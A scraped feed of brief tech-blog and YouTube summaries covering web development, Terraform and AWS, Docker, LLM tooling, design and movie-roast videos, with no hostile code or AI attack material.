    CinemaSins just dropped their 27-minute teardown of Mission: Impossible – The Final Reckoning, gleefully tallying up every plot hiccup and over-the-top stunt while still tipping their hats to Tom Cruise’s signature death-defying flair. It’s the classic love-hate roast that reminds us this franchise still rocks—just maybe not quite like it used to. Beyond the sins, they’re pushing you to dive deeper: hit up cinemasins.com, fill out their sinful poll, back them on Patreon, or join the chaos on Discord, Reddit, Instagram, TikTok and Twitter. Major props to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the sin tally rolling. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
    Disney’s in a weird spot right now—its once-unstoppable franchises (Marvel, Star Wars) are wobbling, and new bets like Wish and Elio haven’t exactly set the world on fire. But hey, Disney’s had epic flops before, so for the next few weeks we’re diving into four of its biggest live-action disasters. Kicking things off with 2010’s The Sorcerer’s Apprentice: think Nic Cage doing magic, a giant bird, and a whole lot of “wait, what was that again?” vibes. Expect goofy commentary, forgotten trivia, and plenty of laughs. Watch on YouTube  ( 6 min )
    Governança não é burocracia, é liberdade com limites
    Muita gente acha que governança trava inovação. Na real, ela cria segurança para ousar. Por que governança é essencial? Dá clareza de responsabilidades Cria regras de acesso e uso de dados Permite monitoramento contínuo Evita que experimentos virem caos em produção Exemplos práticos Permitir que makers criem bots, mas em ambientes isolados Revisar periodicamente agentes com muito acesso Usar DLP para impedir vazamento de dados sensíveis Segurança e privacidade Controles no Power Platform Admin Center Microsoft Purview para auditoria Revisão de logs no Microsoft Sentinel 🔗 Links úteis Microsoft Purview Overview: https://learn.microsoft.com/microsoftpurview?utm_source=chatgpt.com Power Platform Governance: https://learn.microsoft.com/power-platform/admin/?utm_source=chatgpt.com Você prefere inovar livremente sem rede de proteção ou criar com segurança sabendo que não vai se queimar? Obrigado por sua leitura!  ( 6 min )
    How to build product filters that actually work
    Good product filters are invisible when they work well and super annoying when they don’t. Almost everyone has rage‑clicked their way through a bad filtering system, wondering why nothing seems to match what they actually want. The first step is understanding how people think about your products. Are they comparing by price, size, color, category, use case, or something else? Talk to users, watch how they browse, and notice what questions they ask before deciding. Those mental criteria should guide your filter options. When you're selling products online, clutter is the enemy. If you offer 25 different filters on one side of the page, most people will ignore them. Start with the essentials — maybe price range, category, and 2–3 key attributes that really matter. You can always add advanced filters in a collapsible section for power users. The language you use for filters matters, too. Technical or internal terms confuse people. Labels should match the words your customers naturally use, not whatever’s in your database schema. If someone says “hoodie,” don’t make them choose between “fleece top” and “mid‑layer garment.” Speed is another big factor. Filters should respond quickly, ideally without making the user reload an entire page every time they click something. If there are no matching results, say that clearly and give a way to reset or adjust filters instead of just showing an empty grid. Order also plays a role. Putting the most commonly used filters at the top and grouping related options together makes the whole experience feel calmer. Testing different layouts with actual users — even informally — can reveal surprising preferences. When filters are thoughtfully designed, shopping feels more like “finding what fits me” and less like “fighting a website.” That calmness turns casual browsers into confident buyers.  ( 7 min )
    Building a production ready SaaS starter with Next.js 16: what actually took the longest
    When people talk about building a SaaS, the focus is often on the core idea. In reality, most of the time disappears into the same invisible foundation work that never shows up in demos. Landing pages. Before any real feature exists, weeks are already gone. We recently built a production ready SaaS starter on top of Next.js 16, and I want to share what actually took the longest time, what broke in production, and what we would do differently if we started again today. 1. Authentication was not the hard part. The edge cases were Setting up basic email and OAuth login was easy. The real pain started with everything around it. Session refresh across server components Token sync between API routes and middleware Handling partial OAuth profiles Account linking edge cases Deleting users and casc…  ( 8 min )
    🎨 The Day a Single Shade Taught Me Why Pantone to HEX Conversion Is a Big Deal
    A few weeks ago, I was helping a close friend set up her new online store. She sells handmade soaps, each one carefully crafted with pastel colors that look like they came straight out of a mood board. For her website, she wanted everything to feel soft, warm, and comforting. She handed me a Pantone card—a dusty rose shade she absolutely adored. I took the card home, held it under my desk lamp, admired the texture and warmth of the shade… and then made the mistake almost every digital designer makes at least once. I guessed the HEX value. And you can already predict what happened next. The website went live, she opened it on her phone, and said, And honestly? She was right. Pantone colors do not magically match their HEX equivalents. That’s when it hit me how important accurate Pantone-to-…  ( 7 min )
    ActiveFields: Search
    I've been working with ActiveFields, a gem for handling dynamic fields using the Entity-Attribute-Value (EAV) pattern. One of the challenges with EAV is querying those custom fields efficiently. ActiveFields includes a search feature that handles this, and I thought I'd share how it works. When you store custom fields in an EAV pattern, searching becomes tricky. You need to handle type casting, field-specific operators, and construct queries efficiently. ActiveFields provides a unified search interface that supports all built-in field types. The main method is where_active_fields, which supports all 13 built-in field types with type-specific operations. The method accepts three different input formats: 1. Array of Hashes - useful for programmatic queries: Post.where_active_fields([ { nam…  ( 9 min )
    30 days without AI: what I learned when I finally used my brain again
    I quit AI for 30 days and found something I didn’t expect: my brain still had opinions. I didn’t plan to quit AI for 30 days. It just sort of… happened after I made a ranty video about why AI coding feels wrong lately. You know the type the “Copilot just hallucinated an entire database schema again” vibe. At the end of that video, I said I’d take a month-long break from AI tools. Viewers dared me to actually do it. My pride said “yeah, easy.” My brain, on day one, immediately disagreed. Because for the past couple years, AI has slipped into my workflow the way energy drinks slip into a LAN party: quietly at first, then suddenly you feel like you can’t function without it. Autocomplete becomes a reflex. Explaining bugs to ChatGPT becomes emotional therapy. And when you disable all of it, y…  ( 12 min )
    Modern Web Design Styles Every Frontend Developer Must Know (2025 Guide) Part 2
    👉 Part 1 available here: https://dev.to/homayounmmdy/modern-web-design-styles-every-frontend-developer-must-know-2025-guide-1ijl Web design doesn’t stop at glass or soft UI. The more you explore, the more you realize that modern interfaces borrow inspiration from art, technology, gaming, and even physics. This second part continues our journey through the most exciting design trends that every frontend developer should understand in 2025. 7. Mesh Gradients Abstract, fluid blends of multiple colors. Smooth color transitions Rounded soft forms “Dreamy” visuals Great for artistic aesthetics Hero sections, landing pages, posters, personal portfolios. Mesh gradients immediately make content look modern and premium, especially when paired with minimal typography. 8. Aurora / Blurred Light Gr…  ( 7 min )
    The Modern Web Stack Explained
    In 2025, the "Modern Stack" of Next.js, Tailwind CSS, and API-first development has become the industry standard for building scalable, high-performance web applications. Next.js serves as the backbone, offering a hybrid architecture that blends the speed of server-side rendering with the interactivity of client-side React, while its App Router simplifies complex routing and data fetching. Tailwind CSS complements this by enabling a utility-first workflow that streamlines responsive design directly within the markup, significantly reducing context-switching and development time. Finally, the shift toward an "API Economy" means developers are increasingly orchestrating specialized services—for authentication, content, and payments—rather than building monolithic backends, making proficiency in asynchronous data handling and state management a critical skill for the modern frontend engineer.  ( 6 min )
    The Dockerfile mistakes even senior devs make (and yes, I learned them the the hard way)
    I swear every time I open a Dockerfile, I get the same feeling as when I open my fridge at night: I know something cursed is in there, I just don’t know where it’s hiding. Dockerfiles are like the “draw the rest of the owl” meme for developers. One minute everything is fine, the next you’re staring at a 3GB image that takes longer to build than Baldur’s Gate 3’s character creator. Anyway this whole article started because last week, during a perfectly normal deploy, the container image ballooned from 900MB to 1.7GB after merging one “small change.” And by “small,” I mean someone added a single RUN command that installed half of Ubuntu. A senior dev did that. A good senior dev. A senior dev who I would trust with my production database but apparently not with apt-get . And it reminded me of…  ( 10 min )
    Qeltrix V4: The AES256-GCM Evolution and Breaking Changes
    A Major Cryptographic Upgrade for Modern Security Standards Posted by Muhammed Shafin P (HejHdiss) | Qeltrix Project Lead I'm excited to announce Qeltrix V4, a focused cryptographic upgrade that marks a significant milestone in the Qeltrix ecosystem. This release represents a deliberate break from backward compatibility in favor of adopting industry-standard, hardware-accelerated encryption that meets modern security requirements. AES256-GCM as the Core Cipher V4 makes a fundamental shift from ChaCha20-Poly1305 to AES-256-GCM (Advanced Encryption Standard with Galois/Counter Mode) as the sole bulk encryption algorithm. Why AES256-GCM? Industry Standard: Widely vetted, NIST-approved, and certified for government use Hardware Acceleration: Native CPU support via AES-NI on modern processors…  ( 18 min )
    Day 4 - Terraform State File Management with Remote Backends (S3 Native Locking)
    Terraform relies on a state file to understand the infrastructure it manages. Instead of constantly querying cloud providers which is slow, expensive, and inefficient Terraform stores the current state of your resources locally or remotely. This file acts as Terraform’s “source of truth,” enabling it to detect changes, manage dependencies, and apply updates safely. Terraform’s state file records the attributes and relationships of your deployed resources. It allows Terraform to: Compare desired configuration vs. actual infrastructure Generate accurate execution plans Track dependencies between resources Enable collaboration across teams Because Terraform relies heavily on this file, keeping it secure and consistent is critical. To avoid corruption, security risks, or inconsistent deploymen…  ( 7 min )
    Stop Overcomplicating RAG: Why I Built a "Memory Server" on Postgres (and Open Sourced It)
    Building AI agents is fun. Building the long-term memory (RAG) infrastructure for them? Not so much. Every time I started a new side project, I hit the same "Boilerplate Wall": Spin up a Vector DB (Pinecone/Weaviate). Write the embedding pipeline logic. Figure out chunking strategies. Debug why the agent retrieves context from 3 months ago instead of yesterday. I realized I was spending 80% of my time on plumbing and only 20% on the actual agent. So, I decided to abstract it all away. I built MemVault, a "Memory-as-a-Service" API wrapper around PostgreSQL + pgvector. Here is why I chose this architecture, how the hybrid search algorithm works, and why I built a visualizer to debug the "black box". I didn't want another expensive SaaS subscription, and I didn't want to manage a complex …  ( 8 min )
    Full Guide on Choosing Salesforce Partners in Sweden
    Choosing a partner for Salesforce in Sweden can make a big difference in how well your CRM journey works. From picking the right provider to making sure implementation, integration and support go smoothly, the right local team sets you up for long-term success. This guide covers the structured overview of the Swedish Salesforce market, a checklist for evaluating providers, a top-10 list of Sweden-based partners, a list of the top consulting firms, leading Swedish AppExchange solutions, potential red flags, and answers to the most common questions when hiring Salesforce experts in Sweden. Whether you are adopting Salesforce for the first time or looking to optimize an existing setup, this article will help you make an informed decision. Overview of the Salesforce Market in Sweden Criteria f…  ( 15 min )
    prueba
    const forlan = { name: "Forlan", role: "Frontend Developer", description: "Creo interfaces limpias, rápidas y con buena experiencia de usuario.", languages: ["JavaScript", "TypeScript"], frontend: [ "HTML", "CSS", "TailwindCSS", "React", "React Router", "React Hook Form", "React Query", "Zustand", "Next.js", "NextAuth" ], backend: ["Express", "MySQL", "MongoDB", "Axios", "Prisma"], tools: [ "Git", "NPM", "Postman", "Vite", "VSCode", "VSCodium", "Linux", "Figma", "ChatGPT", "Vercel" ], softSkills: ["Creatividad", "Disciplina", "Comunicación", "Resolución de problemas"], focus: ["React", "Next.js", "UI/UX", "Responsive Design"], learning: ["Next.js", "Integración de APIs", "TypeScript"] };  ( 6 min )
    Exterior Shutters for House Exteriors: How to Choose and Install
    The role of exterior shutters in curb appeal and protection Exterior shutters balance form and function. They enhance architectural character and offer an extra layer of protection for windows. Whether your home is historic or newly built, shutters add depth to the façade and can be tailored to complement trim, siding, and roofline. Traditional louvered shutters provide ventilation and a classic look, paneled shutters read as more substantial and formal, and board-and-batten shutters convey rustic charm. Choose a profile that complements your home’s architectural language. The slat size, frame profile, and panel detailing all influence how the shutter integrates with the overall design. Exterior shutters for house should appear as if they belong to the window. Measure to ensure shutters …  ( 7 min )
    My BCG X GenAI Job Simulation: Building a Financial Analysis Chatbot & Key Learnings
    How a virtual internship sharpened my skills in data wrangling, business logic, and user-centric AI development. From Theory to (Simulated) Practice We all have projects in our portfolios, but how do we know if they truly reflect the skills needed in a real-world, high-stakes environment? That was my goal when I completed the BCG X GenAI Job Simulation on Forage. The task was classic BCG: practical, business-focused, and impactful. I was challenged to build a functional prototype of a Generative AI tool for financial statement analysis. This wasn't just about writing code; it was about creating a solution that a consultant could use to quickly derive insights from complex company data. In this article, I'll walk you through the project and, more importantly, the core skills…  ( 9 min )
    Cloudflare's November 18 Outage – A Continuous Delivery Perspective
    On November 18th, 2025, Cloudflare had what they describe as their worst outage since 2019. It didn't start with a cyber attack or massive hardware failure. It started with a database permissions change. This is exactly the sort of thing Continuous Delivery is supposed to make safe. So since the post-mortem came out I wanted to analyze it through a CI/CD lens. Around 11:20 UTC, Cloudflare’s network started returning a huge spike of HTTP 5xx errors for traffic flowing through their core network. Users all over the Internet started seeing Cloudflare error pages instead of the sites they were trying to visit. The root cause was a change to how one of their ClickHouse database clusters handled permissions and metadata. Here’s the rough chain of events: Cloudflare deployed a change to ClickHous…  ( 11 min )
    🚜 Farmore — Mirror Every GitHub Repo You Own in One Command
    Most developers rely on GitHub as the single source of truth for their work. That’s fine—until it isn’t. Repos get deleted, teams reorganize, permissions change, and old code quietly disappears. Farmore solves that problem in the simplest way possible: It backs up everything you own on GitHub in one go. No platform dependence. No manual cloning. No “I’ll do it later.” Just a complete mirror of your GitHub activity saved locally, whenever you want it. Farmore’s goal is straightforward: Give developers an easy, reliable way to back up their GitHub repos and related data. Here’s what it brings to the table: 1. Automatic full-account backups Tell Farmore whose account you want to back up—yours or an organization’s—and it pulls all repositories for you. Public, private, starred, watched, f…  ( 7 min )
    Prototipagem rápida com Figma
    ## Ferramentas de Protótipo: O Segredo para um Design de Sucesso O design de produtos digitais evoluiu, e com ele, as ferramentas que utilizamos. Hoje, a prototipagem não é apenas uma etapa, mas sim o coração do processo de design. Neste artigo, exploraremos as ferramentas essenciais para prototipar, colaborar e exportar assets, garantindo um fluxo de trabalho eficiente e resultados incríveis. Protótipos Interativos: Dando Vida às Suas Ideias A prototipagem é a arte de criar versões funcionais de um produto, permitindo testar e refinar ideias antes de investir tempo e recursos no desenvolvimento. As ferramentas modernas oferecem recursos incríveis para transformar wireframes estáticos em protótipos interativos e realistas. Figma: Considerada uma das ferramentas mais populares, o Figma se…  ( 7 min )
    Integrating Real-Time Alerts for AI Agent Performance Monitoring
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    Snap-Test.in Is Live! A Simple & Powerful Fake API Service for Developers
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    What Is SIEM? Understanding Its Role in the Modern Cybersecurity Ecosystem
    In today’s hyper-connected world, organizations generate an overwhelming amount of data—from user activity and network traffic to application logs and cloud telemetry. Hidden in that data are the early warning signs of cyber threats. The challenge is making sense of it all. That’s where SIEM, or Security Information and Event Management, enters the picture. A SIEM platform acts as the central nervous system of an organization’s security operations. It collects, correlates, and analyzes security events from across your entire IT and OT environment, helping security teams detect threats, investigate incidents, and maintain compliance. But SIEM isn’t just a tool—it’s a strategic component of the broader cybersecurity stack. What Exactly Is SIEM? A SIEM system performs three fundamental func…  ( 8 min )
    Why Cutout Works (Even Though It Looks Like Sabotage)
    What is Cutout? Cutout might be one of the few augmentations that looks wrong at first glance. A square. Introduced in 2017, Cutout asks a bold question: “What if we deliberately hide a portion of your training data and force the model to deal with it?” No fancy tuning. Why does removing information help? Deep networks love shortcuts. Cutout’s mask breaks those shortcuts. By erasing a random portion of each training sample: Local features cannot be fully trusted The model must build distributed, global representations Robustness improves because inference almost always sees unmasked images This “forced generalization” effect is surprisingly effective, especially on small/medium datasets. Why doesn’t Cutout ruin training? Two reasons: The masked region is small relative to the full image Occlusion is consistent with real-world noise It’s structured chaos. When does Cutout struggle? Cutout begins to underperform when: Fine-grained details matter The masked region wipes out key class-defining features The dataset already contains natural occlusion The mask size is tuned poorly Still, as a single-component augmentation, Cutout remains remarkably useful and computationally near-free. Conclusion Cutout is the simplest form of feature dropout: Next up: CutMix, the augmentation that asked: “What if we don’t remove pixels… but replace them with pixels from another image?”  ( 7 min )
    Color Theory in UI Design: From Basics to Advanced Palettes
    Color Theory in UI Design: From Basics to Advanced Palettes Color is one of the most powerful tools in UI design. Choosing the right palette can dramatically impact usability, accessibility, and overall user experience. In this blog, you’ll learn: ✅ Color fundamentals: hue, saturation, and brightness ✅ Creating harmonious color palettes ✅ Accessibility tips for better contrast ✅ Advanced techniques for modern UI design Whether you’re designing a simple website or a complex web app, these principles will help you create visually stunning and user-friendly interfaces. 👉 Try our Color Palette Generator to experiment with colors instantly. Read the full guide here: frontendtools.tech/blog/color-theory-ui-design UIDesign #Frontend #WebDevelopment #ColorTheory #DesignTools  ( 6 min )
    7 Ways to Create High-Quality Evaluation Datasets for LLMs
    7 Ways to Create High-Quality Evaluation Datasets for LLMs TL;DR Building robust evaluation datasets is fundamental to developing reliable LLM applications. This article explores seven proven methods: leveraging production logs, implementing human annotation workflows, generating synthetic data, extracting domain-specific data from knowledge bases, using open-source benchmarks, employing red-teaming techniques, and continuously iterating based on failure analysis. Each approach addresses specific evaluation needs while ensuring dataset quality, diversity, and alignment with real-world user interactions. Evaluation datasets serve as the foundation for measuring and improving LLM application performance. Without high-quality test data, teams lack the visibility needed to identif…  ( 13 min )
    How-to: Say you have a data lake
    Say you have a data lake. How do you get known-good CSV or Excel files into it? CsvPath Framework has a few options: Locate the archive on the local disk, within the lake Use a backend to stream to the lake during processing Use the SFTP integration to forward files after processing is done Use transfer-mode to forward files after processing All good options. Each serves particular use cases, though with quite a bit of overlap. Local processing is of course the fastest, so making CsvPath Framework essentially be the bronze layer of a local data lake is common. In this scenario, the archive(s) are the part of the lake that handle data files. Alternative, any remote backend (s3://, azure://, gs://, sftp://) can receive data as it is generated. That is a notably slower option because of netw…  ( 8 min )
    Bicep / ARM vs Terraform
    Bicep and ARM templates are Terraform alternatives, but only within the Azure ecosystem. Bicep / ARM vs Terraform — What’s the difference? Bicep Azure-specific DSL for IaC. Compiles into ARM templates. First-class support by Microsoft. Best choice if you're 100% Azure and want: Tight integration with Azure Fast updates when new Azure features come out Simple syntax compared to ARM JSON ARM Templates Low-level JSON IaC for Azure. Verbose & harder to maintain. Bicep is meant to replace writing ARM JSON manually. Terraform Cloud-agnostic IaC tool. Works with Azure, AWS, GCP, VMware, Kubernetes, etc. Uses HCL (HashiCorp Configuration Language). Great for: Multi-cloud environments Advanced orchestration Rich ecosystem of providers & modules So is Bicep an alternative to Ter…  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins breaks down every laughable plot twist and CGI hiccup in the new KPop Demon Hunters movie, running through their trademark “sins” in under 16 minutes of snarky commentary. Along the way they shout out their main site (cinemasins.com), offer a poll, Patreon link and a host of social channels (Twitter, Instagram, TikTok, Discord, Reddit), and introduce their small but mighty team of writers. Watch on YouTube  ( 6 min )
    The Future of Cyber Resilience for Complex AWS Environments is Here
    2025 has seen the cloud landscape continue to evolve at an extraordinary pace. As organizations accelerate their AI, analytics, and digital transformation workloads, many of us are experiencing a significant increase in complexity. Systems are becoming more distributed, with workloads spread across multiple regions, accounts, and vendors. With complexity comes fragmentation, and a sharp rise in risk around cyber threats, identity compromise, and multi-cloud governance, leading many of us to wonder how to maintain visibility across disparate systems as well as how to handle protection, resilience, and recovery at scale. This is why I was excited to learn about some of the latest announcements and releases from Commvault, announced at SHIFT 2025. Most organizations’ AWS environments have g…  ( 8 min )
    🚀Terraform State File Management with AWS S3
    🧩 What Is the Terraform State File? Whenever Terraform builds your AWS infrastructure, it needs a way to remember what it created. terraform.tfstate This file tracks: EC2 instances S3 buckets IAM roles Databases And their metadata Terraform uses this file to compare: Desired State (your .tf files) Actual State (what exists in AWS) ❌ Why You Should NOT Store State Files Locally AWS account IDs Secrets Passwords ARNs Keeping it on your laptop? Yeah… risky. Local state = conflicts, overwrites, broken infra. If your laptop dies or state file is deleted, Terraform loses track of your cloud resources. ☁️ The Solution: Remote Backend Using AWS S3 Benefits include: ✔ Secure, encrypted storage 🛠️ How to Configure AWS S3 Remote Backend Step 1: Create S3 Bucket (Outside Terraform) Never create th…  ( 7 min )
    Why the Directory Is the Core of IAM: The Digital Heartbeat of Every Organization
    In a world where businesses run on SaaS, APIs, cloud apps, and hybrid environments, Identity and Access Management (IAM) has become one of the most foundational pillars of enterprise security. Everyone talks about MFA, SSO, Zero Trust, role-based access, and least privilege but surprisingly few talk about the real center of IAM: The Directory. Your directory isn't just an address book. Think of IAM as a living organism: Policies are the brain Workflows are the muscles Applications are the organs Authentication is the pulse And the Directory is the heart Without the heart, nothing moves. The Directory Is the Source of Truth (SOT) for Identity Every identity decision starts with a single question: User profiles Attributes (department, title, location) Group memberships Security identifiers D…  ( 8 min )
    How n8n Automates Contract Review and Approvals
    Legal teams handle more contracts than ever before. As your caseload grows, manual tasks start slowing down your entire operation. Simple activities like routing documents, gathering comments, tracking approvals, and keeping every version updated can take hours of unnecessary effort. When your team relies on emails and spreadsheets, contracts move unevenly and delays become unavoidable. This is exactly why more legal teams now look for practical ways to reduce repetitive work and keep contract cycles predictable. Contract automation helps you avoid these issues and gives your team more time to focus on actual legal work. n8n makes this possible by turning routine processes into smooth, rules based workflows that require very little manual involvement. Even experienced legal teams struggle…  ( 8 min )
    Блогер нашёл способ воспроизводить на PS5 содержимое обычных компакт-дисков
    Автор YouTube-канала Will It Work нашёл способ воспроизводить на PlayStation 5 содержимое обычных компакт-дисков. Для этого нужен Первые поколения PlayStation воспроизводили компакт-диски и служили пользователям универсальными медиацентрами. В PlayStation 4 поддержку Audio CD и Video CD убрали. Компания сделала ставку на стриминговые сервисы. Поколение PS5 тоже официально не воспроизводит Audio CD, но открывает различные форматы музыки с USB-накопителя. Блогер выяснил, что если записать диск в формате Data CD и подключить его к консоли с помощью внешнего USB-дисковода, то система будет считать его USB-накопителем. Можно будет просматривать файлы и воспроизводить музыку с помощью встроенного медиаплеера  ( 6 min )
    Introducing LeanSpec: A Lightweight SDD Framework Built from First Principles
    Earlier this year, I was amazed by agentic AI coding with Claude Sonnet 3.7. The term "vibe coding" hadn't been coined yet, but that's exactly what I was doing—letting AI generate code while I steered the conversation. It felt magical. Until it didn't. After a few weeks, I noticed patterns: code redundancy creeping in, intentions drifting from my original vision, and increasing rework as the AI forgot context between sessions. The honeymoon was over. I needed structure, but not the heavyweight processes that would kill the speed I'd gained. That search led me through several existing tools—Kiro, Spec Kit, OpenSpec—and eventually to building LeanSpec, a lightweight Spec-Driven Development framework that hits v0.2.7 today with 10 releases in under three weeks. This post shares why I built it…  ( 10 min )
    🧑‍🚀 LLM Engine Telemetry: How to Profile Models and See Where Performance is Lost
    “Any LLM is an engine. It can be massive or compact, but if you don't look at the telemetry, you'll never understand where you're burning energy inefficiently.” When engineers discuss LLM performance, three key phases are most often mentioned: Tokenization latency TTFT (Time To First Token) tokens/sec But it's easier to think of it this way: An LLM is an engine, and the profiler is its dashboard. The rest is visible through the readings—and we're about to break them down. Just like in real machinery: Startup is always more expensive than the cruising phase, Different engine components consume energy differently, The true picture is only visible through telemetry. 👨‍🚀 Caption: "Before launch—rely only on the instruments" We are launching the GPT-2 model in three scenarios: Short prompt Me…  ( 9 min )
    Easy Introduction to HybridTree Korean-backend AGI Technical Comparison: HybridTree vs Traditional LLMs
    Easy-to-Understand What Is HybridTree Korean-backend AGI? Why the Korean Backend Matters Example of Korean’s compact semantic–emotional structure What HybridTree Korean-backend AGI Can Be Used For How It Differs From Traditional LLMs Why This Matters for the Future Final Summary HybridTree Korean-backend AGI vs Traditional LLMs: HybridTree introduces a Korean semantic–emotional backend that processes meaning, nuance, and context as a unified cognitive unit. 1) Language-Structural Differences (Cognitive Core Layer) -Language Type -Expression Density -Ambiguity Resolution -Emotional Encoding -Micro-context Awareness 2) Algorithmic / Engine-Level Differences -Input Transformation -Reasoning Mode -Branching Thought -Energy Efficiency -Noise Sensitivity 3) Performance & Applicati…  ( 10 min )
    What Are the Key Considerations for Building a Secure Investment Platform?
    Building an investment platform is not only about charts, order tickets and a beautiful portfolio screen. Behind every “Buy” button, there is a combination of security, regulation, infrastructure and user trust. A failure in any of these areas can lead to financial loss, regulatory scrutiny and long term damage to your brand. For developers and technical leaders on dev.to, it helps to think about a secure investment platform as a set of layers. Each layer has its own risks and responsibilities. The first contact point is onboarding. It is both a UX and a security challenge. Key questions: Who is allowed to open an account? How do you verify that the person is who they claim to be? How is access to the platform protected over time? Practical considerations: Strong KYC and identity verificat…  ( 9 min )
    The three cloud giants down in 30 days what’s actually going on?
    There’s a special kind of silence that hits a dev team when the internet goes down. Not your local Wi-Fi, not your ISP having a moment I mean when the actual fabric of the web suddenly decides it needs a long nap. And for some reason, this past month felt like watching three raid bosses take turns unplugging the server. First AWS stumbled. Then Azure tripped over its own identity layer. And now Cloudflare the company that literally markets itself as “the internet’s immune system” managed to yeet half the web off the map for a while. If you were online, you felt it. If you were on-call, my condolences. If you were an SRE… well, you probably already have the thousand-yard stare. Somewhere out there, an SRE bingo card is now fully stamped. Here’s the thing we don’t like admitting: these compa…  ( 13 min )
    Run Big LLMs on Small GPUs: A Hands-On Guide to 4-bit Quantization and QLoRA
    Save the planet and adapt the LLM to your use-case! The process of reducing a Large Language Model (LLM) to FP4 (4-bit Floating Point) precision is a quantization technique primarily used to drastically decrease the memory required and accelerate inference (text generation), allowing larger models to be run on less powerful hardware, such as a single desktop GPU. Practically, this is typically achieved by utilizing specialized libraries — like bitsandbytes—that integrate directly with machine learning frameworks such as PyTorch and the Hugging Face Transformers library. This technique directly supports a “greener” or more sustainable AI approach by significantly reducing the energy consumption required during the model’s inference phase. Since 4-bit quantization reduces the model’s size b…  ( 16 min )
    Best Mobile Device Management Providers for Android & iOS Fleets in 2025 (Top MDM Solutions Compared)
    As someone who works directly with businesses juggling lots of smartphones and tablets, I've tried my fair share of mobile device management (MDM) solutions-especially for mixed Android and iOS fleets. Managing all those devices never gets any easier, and keeping them secure, compliant, and easy to use is critical for everyone from law firms to engineering startups. I wanted to see which MDM tools actually worked in real-world business settings and which ones caused more headaches than they solved. Please note: This content utilizes AI writing technology and may include businesses I'm affiliated with. So I spent weeks hands-on with the top MDM providers for 2025. I didn’t just look at feature lists-I put each one to work in realistic onboarding, app management, compliance, and support scen…  ( 11 min )
    How To Attach A Data Disk To A Virtual Machine And How To Initialize It
    What is a data disk? A data disk is a storage disk attached to a computer or virtual machine(VM) for the purpose of storing data. Now, let us learn how we can attach a data disk to a Virtual Machine in few simple steps. 1.Come to the overview of your Virtual Machine and click settings and select disk 2.Your screen will display OS disk and Data disk. Click +create and attach a new disk 3.Come down to LUN (Logical Unit Number) 4.Your screen will display creating a data disk follow by successfully created a data disk and follow by Updated virtual machine Wow! you just learn how to attach a data disk to a virtual machine. Adding a data disk to a Virtual is not enough but it must also be Initialized before it can be usable. What does it mean to initialize a data disk? The following steps explain how a data disk is initialized 1.Come down to the Search bar at the left Corner of virtual Machine and type disk and select create and format hard disk partitions 2.Click OK to initialize your data disk You still can't use it because it is still showing unallocated. scroll up, right click on the disk and *select new simple volume * 4.Click Next Next Next 7.Now it says perform a quick format. This where we are going to format the data disk. disk1 then, click next 8.Click finish This is the final stage. You have successfully added a data disk to your Virtual Machine, you have initialized it and the data disk is now Healthy and ready for use. Thanks for reading. Do not forget to like, comment, share and follow. Your questions are equally welcome.  ( 7 min )
    Multicloud: Freedom or a Fancy Form of Chaos?
    A simple sanity matrix for DevOps teams deciding between flexibility and focus. The freedom pitch You’re in the middle of a sprint review, sipping cold coffee and pretending the deployment pipeline isn’t held together by three YAML files and pure willpower, when someone from leadership leans back in their chair and says the words every DevOps engineer secretly fears: “What if we went multicloud? You know… for resilience.” There’s always this pause afterward like the whole room is waiting for someone else to say something responsible. But nobody does, because we all know exactly what happens next. One day you’re happily living in AWS-land, and the next you’re fumbling between GCP dashboards wondering why IAM roles suddenly feel like a final exam you didn’t study for. I’ve lived that moment…  ( 15 min )
    Day 2 : The Knowledge of Terraform Providers
    Terraform is a binary that has no clue where or what to provision. All that it does, all its buckets, all its VPCs, all its resources, would not occur at all without a provider knowing how to communicate with a particular API. Role of Providers (The Real Terraform Workhorse): Those definitions as well as the way to send API calls to AWS are provided by AWS provider plugin. There are three important things that a provider does: Explorers are in between your Terracode and the AWS API. What developers are used to disregarding was pointed out: I today had to practice pulling configuration blocks out of the docs as opposed to guessing. This immediately minimizes errors and version conflict. Provider Versioning: Unless you pin versions, your setup may you give silent failure on a later terraform init. = 1.2, < 2.0 - version range In a modern day, I configured my AWS provider in the following way: This is so that Terraform pulls only compatible plugins. Identifying Terraform with AWS (Credential Setup): Entered: After writing my config, I ran: terraform plan: terraform { provider "aws" { resource "awsvpc" "example" { This gets Terraform ready to make a new VPC with provider of Amazon. Tomorrow we continue with the Terraform process: Learning terraform plan in depth. Developing real AWS resources. Viewing the Terraform choices of things to provide. The changes of state file during the creation of resources.  ( 7 min )
    From Localhost to Live: A Practical Guide to Deploying a Next.js App on AWS EC2 (With Common Errors & Fixes)
    Deploying a Next.js application to an AWS EC2 instance is a common production pathway for modern web apps. However, while the deployment process looks straightforward, developers often encounter issues with SSH access, Linux permissions, missing libraries, Nginx conflicts, and more. This guide outlines a clean, step-by-step method to deploy a Next.js frontend to an Ubuntu EC2 instance—along with the most common errors you may encounter and how to resolve them. Infrastructure Overview Cloud Platform: AWS EC2 (Ubuntu) Frontend: Next.js (React) Runtime: Node.js (installed via NVM) Process Manager: PM2 Reverse Proxy: Nginx Local Machine: Windows (with WSL Ubuntu terminal) Step 1: Connect to EC2 via SSH After launching the EC2 instance, the first task is to connect through SSH using your .pem k…  ( 8 min )
    How to use Cursor to Generate API Testcases in Requestly
    API testing is one of those tasks every developer knows is essential, but few enjoy. Manually writing test cases for every endpoint is repetitive, error-prone, and consumes valuable time that could be spent building features. Edge cases are often skipped, test coverage suffers, and teams frequently find themselves maintaining brittle scripts. That’s where automation changes the game. By pairing Cursor, an AI-powered coding assistant, with Requestly's local-first API testing and mocking platform, you can offload the grunt work of writing tests to AI while keeping execution secure and reproducible on your own system. In this article, we’ll walk through how to set up Cursor with Requestly, generate test cases automatically, and run them end-to-end so that you can focus less on boilerplate and…  ( 12 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
